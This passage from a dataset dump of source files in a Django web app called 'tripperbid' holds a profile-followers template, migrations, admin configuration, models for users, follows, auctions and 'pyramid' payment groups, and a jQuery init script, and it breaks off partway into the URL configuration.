"is_vendor": false, "language": "HTML", "length_bytes": 2313, "license_type": "no_license", "max_line_length": 137, "num_lines": 79, "path": "/templates/trips/profile_followers.html", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "{% extends \"profile_base.html\" %}\n\n{% block prof %}\n\n {% load staticfiles %}\n {%load get_range%}\n {%load sub%}\n\n\n\n <div class=\"row\">\n\n <div class=\"col s12\">\n <div class=\"col s12 white z-depth-1\">\n\n <div class=\"row\">\n <div class=\"col s12 m3\">\n <a href=\"/profile/{{usuario.id}}/about/\"class=\"grey-text btn-flat\"><span>About</span></a>\n </div>\n <div class=\"col s12 m3\">\n <a href=\"/profile/{{usuario.id}}/\"class=\"grey-text btn-flat\"><span>Feed</span></a>\n </div>\n <div class=\"col s12 m3 \">\n <a href=\"/profile/{{usuario.id}}/followers/\"class=\"blue-text btn-flat\"><span>Followers</span></a>\n </div>\n <div class=\"col s12 m3 \">\n <a href=\"/profile/{{usuario.id}}/following/\"class=\"grey-text btn-flat\"><span>Following</span></a>\n </div>\n </div>\n\n\n\n\n </div>\n </div>\n\n\n\n <div id=\"test3\" class=\"col s12\">\n\n <div class=\"row\">\n {%if relaciones%}\n {%for rel in relaciones%}\n <div class=\"col s6 \">\n\n\n <div class=\"card-panel grey lighten-5 z-depth-1\">\n <div class=\"row valign-wrapper\">\n <div class=\"col s2\">\n <img src=\"{{rel.follower.pp.url}}\" alt=\"\" class=\"circle responsive-img\"> <!-- notice the \"circle\" class -->\n </div>\n <div class=\"col s10\">\n\n <h5>{{rel.follower.first_name}}</h5>\n\n {%if not rel.follower == user.usuario%}\n\n <a href=\"/follow/{{rel.follower.id}}\"class=\"waves-effect blue z-depth-1 white-text btn\">Follow</a>\n {%endif%}\n <a href =\"/profile/{{rel.follower.id}}\"class=\"waves-effect white z-depth-1 black-text btn\">View profile</a>\n\n </div>\n </div>\n </div>\n\n\n </div>\n\n {%endfor%}\n {%endif%}\n </div>\n\n </div>\n </div>\n\n\n\n\n{% endblock%}\n" }, { "alpha_fraction": 0.5278491973876953, "alphanum_fraction": 0.5886889696121216, "avg_line_length": 32.342857360839844, "blob_id": "387bee3f24855258c89f6d26b597d1819e6abb06", "content_id": "9ca2f1cdd689b26f0e366f1d627f97f72294127a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 129, "num_lines": 35, "path": "/migrations/0011_auto_20151226_0236.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0010_auto_20151226_0227'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 36, 0, 574539), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 36, 0, 569686), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='model_pic',\n field=models.ImageField(default=b'/media/pictures/foto.jpg', upload_to=b'/media/pictures/'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 36, 0, 573417), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5270897746086121, "alphanum_fraction": 0.5843653082847595, "avg_line_length": 31.299999237060547, "blob_id": "a51cde08db434b7752e4d4d638bf332a48dccd55", "content_id": "15f927a0cd2dbc47831daa6855c4d41395eb185f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1292, "license_type": "no_license", "max_line_length": 130, "num_lines": 40, "path": "/migrations/0017_auto_20151226_0338.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\nimport trips.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0016_auto_20151226_0332'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='usuario',\n name='model_pic',\n ),\n migrations.AddField(\n model_name='usuario',\n name='pp',\n field=models.ImageField(default=b'photos/foto.jpg', upload_to=trips.models.user_directory_path),\n ),\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 38, 42, 211628), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 38, 42, 200675), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 38, 42, 205694), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5428571701049805, "alphanum_fraction": 0.5964285731315613, "avg_line_length": 32.33333206176758, "blob_id": "6da7390893792e9d751295978e0fbe7399ef9b30", "content_id": "e8effdfffda120ae84717d783ebff30912f080b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1400, "license_type": "no_license", "max_line_length": 148, "num_lines": 42, "path": "/migrations/0018_auto_20151228_2209.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport trips.utils\nimport datetime\nimport trips.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0017_auto_20151226_0338'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='subasta',\n name='recaudado',\n field=models.IntegerField(default=0),\n ),\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 28, 22, 9, 46, 367103), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 28, 22, 9, 46, 362623), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='pp',\n field=models.ImageField(default=b'photos/foto.jpg', storage=trips.utils.OverwriteStorage(), upload_to=trips.models.user_directory_path),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 28, 22, 9, 46, 366220), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5225694179534912, "alphanum_fraction": 0.5868055820465088, "avg_line_length": 31.91428565979004, "blob_id": "66ba040dc2c42e30951bc7fbd9f5ea4885bbac35", "content_id": "664ca747b9ef20c0995d720993dc1d0b62ead841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1152, "license_type": "no_license", "max_line_length": 130, "num_lines": 35, "path": "/migrations/0016_auto_20151226_0332.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0015_auto_20151226_0247'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 32, 34, 792510), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 32, 34, 787593), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='model_pic',\n field=models.ImageField(default=b'photos/foto.jpg', upload_to=b'photos/'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 3, 32, 34, 791336), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5201401114463806, "alphanum_fraction": 0.5849387049674988, "avg_line_length": 31.628570556640625, "blob_id": "34a51c594d1fae1f766a8e7f4bea0e11c9b7629d", "content_id": "2564adbcee7b67b7783704754710b566365b4780", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 130, "num_lines": 35, "path": "/migrations/0014_auto_20151226_0244.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0013_auto_20151226_0241'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 44, 44, 230060), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 44, 44, 223631), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='model_pic',\n field=models.ImageField(default=b'', upload_to=b'media/photos'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 44, 44, 228682), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.523396909236908, "alphanum_fraction": 0.5875216722488403, "avg_line_length": 31.97142791748047, "blob_id": "26f2becfca40dec9981c2c465c972c4154763786", "content_id": "ac2031325bff139afb93ef2fec45790559a1c571", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1154, "license_type": "no_license", "max_line_length": 130, "num_lines": 35, "path": "/migrations/0010_auto_20151226_0227.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0009_auto_20151218_1631'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='usuario',\n name='model_pic',\n field=models.ImageField(default=b'pictures/foto.jpg', upload_to=b'pictures/'),\n ),\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 27, 36, 381987), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 27, 36, 375930), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 27, 36, 380606), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5456770062446594, "alphanum_fraction": 0.603588879108429, "avg_line_length": 33.05555725097656, "blob_id": "b306d741e747aa374a7f58f628b4398ac42945e5", "content_id": "1f31d281ff67adb5fdf469db5220573e3e045368", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1226, "license_type": "no_license", "max_line_length": 130, "num_lines": 36, "path": "/migrations/0013_auto_20151226_0241.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\nimport django.core.files.storage\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0012_auto_20151226_0239'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 41, 2, 699702), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 41, 2, 693700), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='model_pic',\n field=models.ImageField(default=b'', upload_to=django.core.files.storage.FileSystemStorage(location=b'media/photos')),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 26, 2, 41, 2, 698137), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.7062849998474121, "alphanum_fraction": 0.7062849998474121, "avg_line_length": 31.139999389648438, "blob_id": "f762c8f8df97ec519602a2e613fc30e855b16ae9", "content_id": "083f98a0854e4c815fec0f7255c7ef5038c4dfde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1607, "license_type": "no_license", "max_line_length": 109, "num_lines": 50, "path": "/admin.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\n\nfrom .models import Usuario, Subasta, Piramide, UsuarioPiramide, Follows,Ganador\n\nclass UsuarioAdmin(admin.ModelAdmin):\n # ...\n list_display = ('first_name', 'last_name', 'email','date')\n list_filter = ['first_name','last_name','date']\n search_fields = ['first_name','last_name','email']\n\nclass GanadorAdmin(admin.ModelAdmin):\n # ...\n list_display = ('usuario','usuario_first_name','usuario_last_name','subasta','cantidad','date','cobrado')\n\n list_filter = ['usuario__first_name','usuario__last_name','date','subasta','cantidad','cobrado']\n\n search_fields = ['usuario__first_name','usuario__last_name','date','subasta','cantidad']\n\n\n def usuario_first_name(self,obj):\n return obj.usuario.first_name\n\n def usuario_last_name(self,obj):\n return obj.usuario.last_name\n\n usuario_first_name.admin_order_field = 'usuario__first_name'\n usuario_last_name.admin_order_field = 'usuario__last_name'\n\nclass UsuarioPiramideAdmin(admin.ModelAdmin):\n\n list_display = ('usuario','subasta','date','cantidad','finished','nivel')\n\n\n def subasta(self,obj):\n return obj.piramide.subasta\n\n def cantidad(self,obj):\n return obj.piramide.subasta.precio\n\n subasta.admin_order_field = 'piramide__subasta'\n subasta.admin_order_field = 'piramide__subasta_precio'\n\nadmin.site.register(Subasta)\nadmin.site.register(Usuario,UsuarioAdmin)\nadmin.site.register(Piramide)\nadmin.site.register(UsuarioPiramide,UsuarioPiramideAdmin)\nadmin.site.register(Follows)\nadmin.site.register(Ganador,GanadorAdmin)\n" }, { "alpha_fraction": 0.5266666412353516, "alphanum_fraction": 0.5566666722297668, "avg_line_length": 29.769229888916016, "blob_id": "9b5f17d037e96e07674319a39ff9a0ff2e5e318f", "content_id": "22ed95107be5701b70c4541485b51d062a546fd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1200, "license_type": "no_license", "max_line_length": 127, "num_lines": 39, "path": "/migrations/0003_auto_20151218_0226.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0002_auto_20151218_0149'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Follows',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('followed', models.ForeignKey(related_name='followed_user', to='trips.Usuario')),\n ('follower', models.ForeignKey(related_name='follower_user', to='trips.Usuario')),\n ],\n ),\n migrations.RemoveField(\n model_name='follow',\n name='followed',\n ),\n migrations.RemoveField(\n model_name='follow',\n name='follower',\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 2, 26, 41, 893838), verbose_name=b'date payed'),\n ),\n migrations.DeleteModel(\n name='Follow',\n ),\n ]\n" }, { "alpha_fraction": 0.5589856505393982, "alphanum_fraction": 0.5843439698219299, "avg_line_length": 31.39285659790039, "blob_id": "20907f51f261425d98416fe6914dbda35c2d5828", "content_id": "bc5ccbd95185bdba880f1fc33313bad1fccdff07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 907, "license_type": "no_license", "max_line_length": 126, "num_lines": 28, "path": "/migrations/0002_auto_20151218_0149.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Follow',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('followed', models.ForeignKey(related_name='followed_user', to='trips.Usuario')),\n ('follower', models.ForeignKey(related_name='follower_user', to='trips.Usuario')),\n ],\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 1, 49, 8, 855413), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5440000295639038, "alphanum_fraction": 0.6159999966621399, "avg_line_length": 24, "blob_id": "8cfb577f05ae08f199ff5013027b70d073acbcc1", "content_id": "cf99fff4d1cd8f5695bf4a4f55a6e356970735f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 500, "license_type": "no_license", "max_line_length": 127, "num_lines": 20, "path": "/migrations/0004_auto_20151218_0227.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0003_auto_20151218_0226'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 2, 27, 10, 893927), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.7115632891654968, "alphanum_fraction": 0.723514199256897, "avg_line_length": 35.42353057861328, "blob_id": "8437394dd73caaa3dbf541291939e815a42adc22", "content_id": "665fd821e7ba3f07bd13abf1153a51a44c323b7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3096, "license_type": "no_license", "max_line_length": 112, "num_lines": 85, "path": "/models.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "import datetime\n\nfrom django.db import models\nfrom .utils import OverwriteStorage\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.core.files.storage import FileSystemStorage\n# Create your models here.\n\nfs = FileSystemStorage(location='media/photos')\n\ndef user_directory_path(instance, filename):\n # file will be uploaded to MEDIA_ROOT/user_<id>/<filename>\n\tlista = filename.split('.')\n\textension = lista[len(lista)-1]\n\tfilename = 'pp.'+extension\n\n\truta = 'user_{0}/{1}'.format(instance.user.id, filename)\n\treturn ruta\n\nclass Usuario(models.Model):\n\tGENDER_CHOICE = (\n ('F', 'female'),\n ('M', 'male'),\n ('O', 'other'),\n )\n\tuser = models.OneToOneField(User)\n\tfirst_name = models.CharField(max_length=100)\n\tlast_name = models.CharField(max_length=100)\n\tpassword = models.CharField(max_length=50,null=True)\n\temail = models.EmailField(max_length=254,default='[email protected]',unique=True)\n\tdate = models.DateTimeField('register date', default=datetime.datetime.now())\n\tpp = models.ImageField(upload_to = user_directory_path,storage=OverwriteStorage(), default = 'photos/foto.jpg')\n\tgender = models.CharField(max_length=1, choices=GENDER_CHOICE, default='O')\n\tdef __str__(self): # __unicode__ on Python 2\n\t\treturn self.first_name+\" \"+self.last_name\n\nclass Follows(models.Model):\n\tfollower = models.ForeignKey(Usuario,related_name=\"follower_user\")\n\tfollowed = models.ForeignKey(Usuario,related_name=\"followed_user\")\n\n\tdef __str__(self):\n\t\treturn self.follower.first_name+\" follows \"+self.followed.first_name\n\nclass Subasta(models.Model):\n\tnombre = models.CharField(max_length=100)\n\tdescripcion = models.CharField(max_length=200)\n\tprecio = models.IntegerField(default=10)\n\tpago = models.IntegerField(default=0)\n\trecaudado = models.IntegerField(default=0)\n\tdef __str__(self): # __unicode__ on Python 2\n\t\treturn self.nombre\n\nclass Piramide(models.Model):\n\tsubasta = models.ForeignKey(Subasta)\n\tfinished = models.BooleanField(default=False)\n\t#limite 14\n\tinscritos = models.IntegerField(default=0)\n\tlimite = models.IntegerField(default=15)\n\n\tdef __str__(self): # __unicode__ on Python 2\n\t\treturn self.subasta.nombre\n\nclass UsuarioPiramide(models.Model):\n\tusuario = models.ForeignKey(Usuario)\n\tpiramide = models.ForeignKey(Piramide)\n\tlider = models.BooleanField(default=False)\n\tnivel = models.IntegerField(default= 1)\n\tfinished = models.BooleanField(default=False)\n\t#date\n\tdate = models.DateTimeField('date payed', default=datetime.datetime.now())\n\n\tdef __str__(self): # __unicode__ on Python 2\n\t\treturn self.usuario.first_name+\" \"+self.piramide.subasta.nombre\n\nclass Ganador(models.Model):\n\tusuario = models.ForeignKey(Usuario)\n\tsubasta = models.ForeignKey(Subasta)\n\tcantidad = models.IntegerField(default=0)\n\tdate = models.DateTimeField('date win', default=datetime.datetime.now())\n\tcobrado = models.BooleanField(default=False)\n\n\tdef __str__(self): # __unicode__ on Python 2\n\t\treturn self.usuario.first_name+\" gano en la subasta: \"+self.subasta.nombre\n" }, { "alpha_fraction": 0.6091954112052917, "alphanum_fraction": 0.6245210766792297, "avg_line_length": 26.964284896850586, "blob_id": "183a573d54ddffd6b08c6ad79d789a0900368487", "content_id": "f75b81116bc94dafb064a5709113ac8212099109", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 783, "license_type": "permissive", "max_line_length": 98, "num_lines": 28, "path": "/static/trips/js/init.js", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "(function($){\n $(function(){\n\n $('.button-collapse').sideNav({\n menuWidth: 300, // Default is 240\n edge: 'left', // Choose the horizontal origin\n closeOnClick: true // Closes side-nav on <a> clicks, useful for Angular/Meteor\n });\n\n $('.parallax').parallax();\n $('select').material_select();\n\n\n\n }); // end of document ready\n $('.datepicker').pickadate({\n selectMonths: true, // Creates a dropdown to control month\n selectYears: 80 // Creates a dropdown of 15 years to control year\n\n });\n $(document).ready(function(){\n // the \"href\" attribute of .modal-trigger must specify the modal ID that wants to be triggered\n $('.modal-trigger').leanModal();\n $('.tooltipped').tooltip({delay: 50});\n\n\n });\n})(jQuery); // end of jQuery name space\n" }, { "alpha_fraction": 0.5218827128410339, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 33.599998474121094, "blob_id": "4647beb7b72315e9373ca86133c0bb4c427a4cf7", "content_id": "36d294baa2a2df967001ff758928a1beeeb3dad7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 134, "num_lines": 35, "path": "/migrations/0006_auto_20151218_1416.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0005_auto_20151218_1348'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Ganador',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('cantidad', models.IntegerField(default=0)),\n ('date', models.DateTimeField(default=datetime.datetime(2015, 12, 18, 14, 16, 26, 899215), verbose_name=b'date win')),\n ('subasta', models.ForeignKey(to='trips.Subasta')),\n ('usuario', models.ForeignKey(to='trips.Usuario')),\n ],\n ),\n migrations.AlterField(\n model_name='piramide',\n name='limite',\n field=models.IntegerField(default=15),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 14, 16, 26, 898322), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5134680271148682, "alphanum_fraction": 0.5765992999076843, "avg_line_length": 32.94285583496094, "blob_id": "a2a00fb6bef62456f767d1279cafedda24a8a1ec", "content_id": "ae4c590cdec313f1beefe3d3f6564cd2e9c52687", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1188, "license_type": "no_license", "max_line_length": 130, "num_lines": 35, "path": "/migrations/0019_auto_20151229_0251.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0018_auto_20151228_2209'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='usuario',\n name='gender',\n field=models.CharField(default=b'O', max_length=1, choices=[(b'F', b'female'), (b'M', b'male'), (b'O', b'other')]),\n ),\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 29, 2, 51, 28, 515329), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuario',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 29, 2, 51, 28, 507777), verbose_name=b'register date'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 29, 2, 51, 28, 513552), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5170843005180359, "alphanum_fraction": 0.5831435322761536, "avg_line_length": 28.266666412353516, "blob_id": "9ce8e1647a140e42c55919fe8abcf3486501dfba", "content_id": "202c434d0d2c7cac4c4a85efb9c6c12eb5f21450", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 878, "license_type": "no_license", "max_line_length": 128, "num_lines": 30, "path": "/migrations/0007_auto_20151218_1419.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('trips', '0006_auto_20151218_1416'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='subasta',\n name='pago',\n field=models.IntegerField(default=0),\n ),\n migrations.AlterField(\n model_name='ganador',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 14, 19, 57, 741488), verbose_name=b'date win'),\n ),\n migrations.AlterField(\n model_name='usuariopiramide',\n name='date',\n field=models.DateTimeField(default=datetime.datetime(2015, 12, 18, 14, 19, 57, 739605), verbose_name=b'date payed'),\n ),\n ]\n" }, { "alpha_fraction": 0.5422590970993042, "alphanum_fraction": 0.5584518313407898, "avg_line_length": 40.50819778442383, "blob_id": "bcf092a1f0b8dcde6a0a65f87b2aa24ca8f56ca1", "content_id": "ab3d2cf0797b5d4c15ea147186fb365eb9e326f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2532, "license_type": "no_license", "max_line_length": 135, "num_lines": 61, "path": "/migrations/0001_initial.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Piramide',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('finished', models.BooleanField(default=False)),\n ('inscritos', models.IntegerField(default=0)),\n ],\n ),\n migrations.CreateModel(\n name='Subasta',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('nombre', models.CharField(max_length=100)),\n ('descripcion', models.CharField(max_length=200)),\n ('precio', models.IntegerField(default=10)),\n ],\n ),\n migrations.CreateModel(\n name='Usuario',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('first_name', models.CharField(max_length=100)),\n ('last_name', models.CharField(max_length=100)),\n ('password', models.CharField(max_length=50, null=True)),\n ('email', models.EmailField(default=b'[email protected]', unique=True, max_length=254)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='UsuarioPiramide',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('lider', models.BooleanField(default=False)),\n ('nivel', models.IntegerField(default=1)),\n ('finished', models.BooleanField(default=False)),\n ('date', models.DateTimeField(default=datetime.datetime(2015, 12, 17, 17, 4, 44, 362389), verbose_name=b'date payed')),\n ('piramide', models.ForeignKey(to='trips.Piramide')),\n ('usuario', models.ForeignKey(to='trips.Usuario')),\n ],\n ),\n migrations.AddField(\n model_name='piramide',\n name='subasta',\n field=models.ForeignKey(to='trips.Subasta'),\n ),\n ]\n" }, { "alpha_fraction": 0.6380246877670288, "alphanum_fraction": 0.6518518328666687, "avg_line_length": 43.0217399597168, "blob_id": "077af80fd447889dead0169d4f221f950e686d41", "content_id": "e312a965f192ee84d937460c1ac21de36fbcbd87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2025, "license_type": "no_license", "max_line_length": 85, "num_lines": 46, "path": "/urls.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "\"\"\"mysite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import 